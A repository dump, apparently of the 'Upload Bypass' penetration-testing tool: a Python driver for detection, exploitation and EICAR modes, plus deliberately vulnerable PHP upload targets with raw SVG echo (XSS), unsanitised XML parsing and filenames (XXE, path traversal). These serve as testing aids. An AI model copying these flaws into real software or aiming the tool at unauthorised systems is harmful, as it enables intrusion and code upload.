1 |
2 |
3 |
4 | File Uploader
5 |
6 |
7 |
8 |
46 |
47 |
53 |
54 |
55 |
56 |
--------------------------------------------------------------------------------
/test_files/file_discrepancy.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | File Uploader
5 |
6 |
7 |
8 |
46 |
47 |
53 |
54 |
55 |
56 |
--------------------------------------------------------------------------------
/test_files/file_stripping.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | File Uploader
5 |
6 |
7 |
8 |
54 |
55 |
61 |
62 |
63 |
64 |
--------------------------------------------------------------------------------
/test_files/file_whitelist_extension.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | File Uploader
5 |
6 |
7 |
8 |
30 |
31 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/test_files/file_whitelist_full.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | File Uploader
5 |
6 |
7 |
8 |
46 |
47 |
53 |
54 |
55 |
56 |
--------------------------------------------------------------------------------
/test_files/file_whitelist_magicbyte.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | File Uploader
5 |
6 |
7 |
8 |
43 |
44 |
50 |
51 |
52 |
53 |
--------------------------------------------------------------------------------
/test_files/file_whitelist_mimetype.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | File Uploader
5 |
6 |
7 |
8 |
30 |
31 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/test_files/json_upload_api.php:
--------------------------------------------------------------------------------
1 | "success",
44 | "error" => false,
45 | "message" => "File uploaded successfully",
46 | "url" => $server_url . "/" . $filename
47 | );
48 | } else {
49 | $response = array(
50 | "status" => "error",
51 | "error" => true,
52 | "message" => "Error uploading the file!"
53 | );
54 | }
55 | } else {
56 | $response = array(
57 | "status" => "error",
58 | "error" => true,
59 | "message" => "Incomplete JSON input!"
60 | );
61 | }
62 |
63 | echo json_encode($response);
64 | ?>
65 |
--------------------------------------------------------------------------------
/test_files/no_filter.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | File Uploader
5 |
6 |
7 |
8 |
24 |
25 |
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/test_files/svg_xss.php:
--------------------------------------------------------------------------------
1 | 500000) {
15 | echo "Sorry, your file is too large.";
16 | $uploadOk = 0;
17 | }
18 |
19 | // Check if file already exists
20 | $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
21 | if (file_exists($target_file)) {
22 | echo "Sorry, file already exists.";
23 | $uploadOk = 0;
24 | }
25 |
26 | // If everything is OK, try to upload the file
27 | if ($uploadOk == 1) {
28 | if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
29 | echo "The file ". htmlspecialchars(basename($_FILES["fileToUpload"]["name"])). " has been uploaded.";
30 |
31 | // Display the contents of the uploaded SVG file
32 | $svg_content = file_get_contents($target_file);
33 | echo "
SVG Content:
";
34 | echo $svg_content;
35 | } else {
36 | echo "Sorry, there was an error uploading your file.";
37 | }
38 | }
39 | }
40 | ?>
41 |
42 |
43 |
44 |
45 |
46 | Upload SVG File
47 |
52 |
53 |
54 |
55 |
--------------------------------------------------------------------------------
/test_files/svg_xxe.php:
--------------------------------------------------------------------------------
1 | 500000) {
22 | echo "Sorry, your file is too large.";
23 | $uploadOk = 0;
24 | }
25 |
26 | // If everything is OK, try to upload the file
27 | if ($uploadOk == 1) {
28 | if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
29 | echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.";
30 |
31 | // Display the contents of the uploaded XML file
32 | $xml_content = file_get_contents($target_file);
33 |
34 | // Use regular expression to extract XML content
35 | preg_match('/<\?xml(.+?)<\/svg>/', $xml_content, $matches);
36 |
37 | if (isset($matches[0])) {
38 | echo "
XML Content:
";
39 | echo htmlspecialchars($matches[0]);
40 | } else {
41 | echo "Failed to extract XML content.";
42 | }
43 | } else {
44 | echo "Sorry, there was an error uploading your file.";
45 | }
46 | }
47 | }
48 | ?>
49 |
50 |
51 |
52 |
53 |
54 | Upload XML File
55 |
60 |
61 |
62 |
63 |
--------------------------------------------------------------------------------
/test_files/uploads/emptyfile.txt:
--------------------------------------------------------------------------------
1 | empty file in order to create an upload directory
--------------------------------------------------------------------------------
/test_files/xml_upload_api.php:
--------------------------------------------------------------------------------
1 |
15 |
16 | example.jpg
17 | base64_encoded_file_content_here
18 | image/jpeg
19 |
20 | */
21 |
22 | error_reporting(E_ALL);
23 | ini_set('display_errors', 1);
24 | header('Content-Type: application/json; charset=utf-8');
25 | header("Access-Control-Allow-Origin: *");
26 | header("Access-Control-Allow-Methods: PUT, GET, POST");
27 |
28 | $response = array();
29 | $upload_dir = 'uploads/';
30 | $server_url = 'http://127.0.0.1:8000';
31 |
32 | $inputXML = file_get_contents('php://input');
33 |
34 | // Parse the XML to extract filename and file content
35 | $xml = simplexml_load_string($inputXML);
36 |
37 | if ($xml !== false) {
38 | $filename = (string) $xml->filename;
39 | $file_base64 = (string) $xml->file_base64;
40 | $mime_type = (string) $xml->mime_type;
41 |
42 | // Decode base64-encoded file content
43 | $file_data = base64_decode($file_base64);
44 |
45 | // Generate the upload path
46 | $upload_name = $upload_dir . $filename;
47 |
48 | // Save the file
49 | if (file_put_contents($upload_name, $file_data) !== false) {
50 | $response = array(
51 | "status" => "success",
52 | "error" => false,
53 | "message" => "File uploaded successfully",
54 | "url" => $server_url . "/" . $filename
55 | );
56 | } else {
57 | $response = array(
58 | "status" => "error",
59 | "error" => true,
60 | "message" => "Error uploading the file!"
61 | );
62 | }
63 | } else {
64 | $response = array(
65 | "status" => "error",
66 | "error" => true,
67 | "message" => "Invalid XML input!"
68 | );
69 | }
70 |
71 | echo json_encode($response);
72 | ?>
73 |
--------------------------------------------------------------------------------
/upload_bypass.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | # Made by Sagiv
4 |
5 | # Upload Bypass is a simple tool designed to assist penetration testers and bug hunters in testing file upload mechanisms.
6 |
7 | # Copyright (C) 2024 Sagiv Michael
8 |
9 | # This program is free software: you can redistribute it and/or modify
10 | # it under the terms of the GNU General Public License as published by
11 | # the Free Software Foundation, either version 3 of the License, or
12 | # (at your option) any later version.
13 |
14 | # This program is distributed in the hope that it will be useful,
15 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | # GNU General Public License for more details.
18 |
19 | # You should have received a copy of the GNU General Public License
20 | # along with this program. If not, see .
21 |
22 | # importing necessary modules
23 | import argparse
24 | import importlib
25 | import traceback
26 | import time
27 | from lib import config
28 | from lib.banner import banner, program_usage
29 | from lib.update import *
30 | from lib.state import resume_state
31 | from lib import format_detector
32 | from lib import alerts
33 | from lib.debug import save_stack_trace
34 | from lib.list_modules import list_all_modules
35 |
36 |
37 | class Upload_Bypass:
38 | def __init__(self, user_options) -> None:
39 |
40 | # Initialize variables
41 | self.options = user_options
42 | self.resume_file = user_options.state
43 | self.debug = user_options.debug
44 | self.success_message = user_options.success_message
45 | self.failureMessage = user_options.failure_message
46 | self.status_code = user_options.status_code
47 | self.verify_tls = user_options.insecure
48 | self.proxy = user_options.proxy
49 | self.upload_dir = user_options.upload_dir
50 | self.request_file = user_options.request_file
51 | self.file_extension = user_options.file_extension
52 | self.upload_dir = user_options.upload_dir
53 | self.burp_http = user_options.burp_http
54 | self.burp_https = user_options.burp_https
55 | self.allowed_extension = options.allowed_extension
56 | self.session = requests.Session()
57 | self.upload_message = ""
58 | self.message = ""
59 |
60 | # User arguments
61 | @staticmethod
62 | def args():
63 |
64 | parser = argparse.ArgumentParser(add_help=False)
65 |
66 | # Check if the user explicitly requests help
67 | if "-h" in sys.argv or "--help" in sys.argv or len(sys.argv) == 1:
68 | banner()
69 | sys.exit()
70 |
71 | # User Options
72 | parser.add_argument("-r", "--request_file", default="not_set", dest="request_file")
73 | parser.add_argument("-s", "--success", type=str, required=False, dest="success_message", default="not_selected")
74 | parser.add_argument("-f", "--failure", type=str, required=False, dest="failure_message", default="not_selected")
75 | parser.add_argument("-d", "--detect", action="store_true", required=False, dest="detect")
76 | parser.add_argument("-e", "--exploit", action="store_true", required=False, dest="exploitation")
77 | parser.add_argument("-a", "--anti_malware", action="store_true", required=False, dest="anti_malware")
78 | parser.add_argument("-E", "--extension", type=str, default="not_set", dest="file_extension")
79 | parser.add_argument("-A", "--allowed", type=str, default="not_set", dest="allowed_extension")
80 | parser.add_argument("-D", "--upload_dir", type=str, dest="upload_dir", required=False, default="optional")
81 | parser.add_argument("-o", "--output", type=str, dest="output_dir", required=False, default=False)
82 | parser.add_argument("-rl", "--rate_limit", type=int, dest="rateLimit", required=False, default=0)
83 | parser.add_argument("-l", "--list", dest="list_modules", required=False, action="store_true")
84 | parser.add_argument("-i", "--include_only", type=str, dest="include_modules", required=False, default=False)
85 | parser.add_argument("-x", "--exclude", type=str, dest="exclude_modules", required=False, default=False)
86 | parser.add_argument("-p", "--proxy", type=str, dest="proxy", required=False, default="optional")
87 | parser.add_argument("-k", "--insecure", action="store_false", dest="insecure", required=False)
88 | parser.add_argument("-c", "--continue", action="store_true", required=False, dest="brute_force")
89 | parser.add_argument("-R", "--response", action="store_true", required=False, dest="response")
90 | parser.add_argument("-t", "--time_out", type=int, default=8, required=False, dest="request_timeout")
91 | parser.add_argument("-P", "--put", action="store_true", required=False, dest="put_method")
92 | parser.add_argument("-Pa", "--patch", action="store_true", required=False, dest="patch_method")
93 | parser.add_argument("--resume", default=False, required=False, dest="state")
94 | parser.add_argument("--debug", type=int, default=False, required=False, dest="debug")
95 | parser.add_argument("--base64", action="store_true", required=False, dest="base64")
96 | parser.add_argument("--burp_http", action="store_true", required=False, dest="burp_http")
97 | parser.add_argument("--burp_https", action="store_true", required=False, dest="burp_https")
98 | parser.add_argument("-S", "--status_code", type=int, required=False, dest="status_code", default=200)
99 | parser.add_argument("--allow_redirects", action="store_true", required=False, dest="allow_redirects")
100 | parser.add_argument("--version", action="store_true", dest="version")
101 | parser.add_argument("-U", "--usage", action="store_true", dest="usage")
102 | parser.add_argument("-u", "--update", action="store_true", dest="update")
103 |
104 | return parser.parse_args()
105 |
106 | def main(self):
107 | try:
108 |
109 | if not self.resume_file:
110 |
111 | if options.list_modules:
112 | list_all_modules()
113 |
114 | if not options.exploitation and not options.detect and not options.anti_malware:
115 | alerts.error("You must specify a mode.")
116 |
117 | if self.request_file == 'not_set':
118 | alerts.error(f"-r, --request_file is a required argument!")
119 |
120 | if self.file_extension == 'not_set' and options.anti_malware:
121 | options.file_extension = 'com'
122 |
123 | elif self.file_extension == 'not_set':
124 | alerts.error(f"-E, --extension is a required argument, unless --anti_malware flag is active.")
125 |
126 | if sum([bool(options.anti_malware), bool(options.detect), bool(options.exploitation)]) > 1:
127 | alerts.error(f"You must choose only one mode at a time (Detection, Exploitation, Anti-Malware)!")
128 |
129 | if "." in self.file_extension:
130 | options.file_extension = self.file_extension.replace(".", "")
131 | options.file_extension = self.file_extension.lower()
132 |
133 | if self.success_message == 'not_selected' and self.failureMessage == 'not_selected':
134 | alerts.warning(
135 | f"Success / Failure message isn't set, a successful upload will be based on {options.status_code} status code.")
136 | options.upload_message = 'not_selected'
137 | options.text_or_code = options.status_code
138 | time.sleep(3)
139 |
140 | elif self.success_message != 'not_selected' and self.failureMessage == 'not_selected':
141 | options.text_or_code = 'success_message'
142 | options.upload_message = self.success_message
143 |
144 | elif self.success_message == 'not_selected' and self.failureMessage != 'not_selected':
145 | options.text_or_code = 'failure_message'
146 | options.upload_message = self.failureMessage
147 |
148 | if not self.verify_tls:
149 | # Disable SSL verification
150 | options.verify_tls = False
151 |
152 | else:
153 | # Enable SSL verification
154 | options.verify_tls = True
155 |
156 | if self.upload_dir != 'optional':
157 | if not self.upload_dir.startswith("/"):
158 | options.upload_dir = "/" + self.upload_dir
159 |
160 | if not self.upload_dir.endswith("/"):
161 | options.upload_dir = self.upload_dir + "/"
162 |
163 | # Check if proxy is provided and valid
164 | if self.proxy != 'optional':
165 | if self.proxy.startswith("http://"):
166 | self.proxy = self.proxy.replace("http://", "")
167 | elif self.proxy.startswith("https://"):
168 | self.proxy = self.proxy.replace("https://", "")
169 |
170 | alerts.info(f"Proxy is running on {self.proxy}")
171 |
172 | if self.proxy.startswith("socks"):
173 | proxy_url = self.proxy.replace("socks://", "")
174 | options.proxies = {
175 | 'http': f'socks5://{proxy_url}',
176 | 'https': f'socks5://{proxy_url}'
177 | }
178 | else:
179 | options.proxies = {
180 | 'http': self.proxy,
181 | 'https': self.proxy
182 | }
183 |
184 | else:
185 | options.proxies = options.proxies = {
186 | 'http': None,
187 | 'https': None,
188 | }
189 |
190 | if self.burp_http or self.burp_https:
191 | alerts.info(f"Proxy is running on 127.0.0.1:8080")
192 | options.proxies = {
193 | 'http': "127.0.0.1:8080",
194 | 'https': "127.0.0.1:8080",
195 | }
196 |
197 | if self.burp_http:
198 | options.verify_tls = True
199 | elif self.burp_https:
200 | options.verify_tls = False
201 |
202 | # Check if arguments supplied by the user is less than 2
203 | if len(sys.argv) < 2:
204 | print("Try '-h or --help' for more information.")
205 | sys.exit(1)
206 |
207 | # Define session withing the argsparse namespace, for an ease use later
208 | options.session = self.session
209 |
210 | allowed_extension = self.allowed_extension
211 | if allowed_extension != 'not_set':
212 | allowed_extension = self.allowed_extension
213 | if allowed_extension.startswith("."):
214 | allowed_extension = allowed_extension.replace(".", "")
215 | else:
216 | # Determine which extension is permitted to be uploaded to the system
217 | alerts.info("Detecting a permitted extension automatically...")
218 | time.sleep(2)
219 | allowed_extension = format_detector.parse_request_file(self.request_file, self.session,
220 | self.options)
221 | allowed_extension = "".join(allowed_extension)
222 | if allowed_extension == "":
223 | alerts.error(
224 | "Couldn't determine allowed extension to be uploaded, use the --insecure flag if you are targeting HTTPs requests or check if the allowed extension exists in config.py.")
225 |
226 | # Include or Exclude modules
227 | all_modules = config.active_modules
228 | modules_to_test = []
229 |
230 | if options.exclude_modules:
231 | if "," in options.exclude_modules:
232 | exclude_modules = options.exclude_modules.replace(" ", "").split(",")
233 | else:
234 | exclude_modules = options.exclude_modules
235 | exclude_modules = exclude_modules.split()
236 | for exclude_module in exclude_modules:
237 | all_modules.remove(exclude_module)
238 |
239 | elif options.include_modules:
240 | if "," in options.include_modules:
241 | include_modules = options.include_modules.replace(" ", "").split(",")
242 | else:
243 | include_modules = options.include_modules
244 | include_modules = include_modules.split()
245 | for include_module in include_modules:
246 | modules_to_test.append(include_module)
247 |
248 | all_modules = modules_to_test[:]
249 |
250 | # Exclude irrelevant modules for a by the book eicar(Anti-Malware) check (According to eicar.org documentation)
251 | if options.anti_malware or options.detect:
252 | for forbidden_module in config.dont_scan_module:
253 | if forbidden_module in all_modules:
254 | all_modules.remove(forbidden_module)
255 |
256 | current_progress = 0 # Setting number of modules to 0 for the progress bar
257 |
258 | # Import all modules (based on number of functions)
259 | final_modules = importlib.import_module("lib.modules")
260 | total_functions = len(all_modules)
261 |
262 | if len(all_modules) == 0:
263 | alerts.error("The module/s you chose does not support detection/anti-malware mode.")
264 | for module in all_modules:
265 | current_progress += 1
266 | # Execute each module with its necessary arguments
267 | getattr(final_modules, module)(self.request_file, self.options, allowed_extension, current_progress,
268 | total_functions)
269 |
270 | except KeyboardInterrupt:
271 | alerts.error("Caught CTRL + C. Exiting...")
272 |
273 | except Exception as error:
274 | # Check if debug mode is activated
275 | if self.debug:
276 | # Print the stack trace to the screen
277 | traceback.print_exc()
278 |
279 | # Save the stack trace to the 'debug' directory
280 | save_stack_trace(self.debug, sys.argv, options.request_file)
281 | else:
282 | alerts.error(f'{error}\n{red}[-]{reset} For a full stack trace error use the --debug flag')
283 |
284 |
285 | # Main function with all its arguments parsing
286 | if __name__ == "__main__":
287 |
288 | try:
289 | options = Upload_Bypass.args()
290 |
291 | version = options.version
292 | update = options.update
293 | usage = options.usage
294 | session = requests.Session()
295 |
296 | if update:
297 | check_for_updates()
298 | sys.exit(0)
299 |
300 | if version:
301 | version = get_current_version()
302 | print("")
303 | print(version)
304 | sys.exit(0)
305 |
306 | if usage:
307 | print(program_usage())
308 | sys.exit(0)
309 |
310 | try:
311 |
312 | # Get the current and latest version of the program
313 | current_version, latest_version = get_current_and_latest_version()
314 |
315 | # Read the current configuration
316 | with open("config/version.json", "r") as file:
317 | version = json.load(file)
318 |
319 | # Modify the current version
320 | version["current_version"] = current_version
321 | version["latest_version"] = latest_version
322 |
323 | # Write the updated configuration back to the file
324 | with open("config/version.json", "w") as file:
325 | json.dump(version, file, indent=4)
326 | except requests.ConnectionError:
327 | alerts.info("The program couldn't establish a connection to the internet, check your internet connection.")
328 |
329 | resume_file = options.state
330 |
331 | if resume_file:
332 | resume_state(resume_file)
333 |
334 | # Create an instance of Upload_Bypass Class
335 | Upload_Bypass = Upload_Bypass(options)
336 | # Call main function
337 | Upload_Bypass.main()
338 |
339 | except Exception as e:
340 |
341 | if options.debug:
342 |
343 | # Check if debug mode is activated
344 | debug_mode = options.debug
345 | # Print the stack trace to the screen
346 | traceback.print_exc()
347 |
348 | # Save the stack trace to the 'debug' directory
349 | save_stack_trace(debug_mode, sys.argv, options.request_file)
350 | else:
351 | alerts.error(f'{e}\n{red}[-]{reset} For a full stack trace error use the --debug flag')
352 |
353 | except KeyboardInterrupt:
354 | alerts.error("Caught CTRL + C. Exiting...")
355 |
--------------------------------------------------------------------------------